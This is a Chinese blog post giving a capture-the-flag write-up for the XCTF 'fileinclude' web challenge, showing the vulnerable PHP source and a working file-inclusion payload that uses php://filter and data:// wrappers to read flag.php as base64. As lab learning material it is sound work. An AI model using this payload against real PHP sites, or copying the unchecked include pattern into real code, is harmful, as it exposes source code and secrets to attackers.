随笔 - 51  文章 - 0  评论 - 4  阅读 - 19287

CTFer成长记录——CTF之Web专题·攻防世界—fileinclude·好多文件呀

一、题目链接

https://adworld.xctf.org.cn/challenges/list

二、解法步骤

  

WRONG WAY! <?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET["file1"]) && isset($_GET["file2"]))
{
    $file1 = $_GET["file1"];
    $file2 = $_GET["file2"];
    if(!empty($file1) && !empty($file2))
    {
        if(file_get_contents($file2) === "hello ctf")
        {
            include($file1);
        }
    }
    else
        die("NONONO");
}

  需要传入两个参数file1与file2,其中要保证file2参数中的文件内容是hello ctf,传法是:file2=data://text/plain,hello ctf,直接传hello ctf是不行的,

  file1就用来读取flag.php文件,传法是:?file1=php://filter/convert.base64-encode/resource=flag.php

  最后构造payload:?file1=php://filter/convert.base64-encode/resource=flag.php&file2=data://text/plain,hello ctf

  获取到base64密文,解密即可得到flag

三、总结

  本题的文件上传需要审计代码,要清楚每个参数的作用,还要知道参数的文件内容写入方法。

  

posted on   MiracleWolf  阅读(482)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· AI编程工具终极对决:字节Trae VS Cursor,谁才是开发者新宠?
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
< 2025年3月 >
23 24 25 26 27 28 1
2 3 4 5 6 7 8
9 10 11 12 13 14 15
16 17 18 19 20 21 22
23 24 25 26 27 28 29
30 31 1 2 3 4 5

点击右上角即可分享
微信分享提示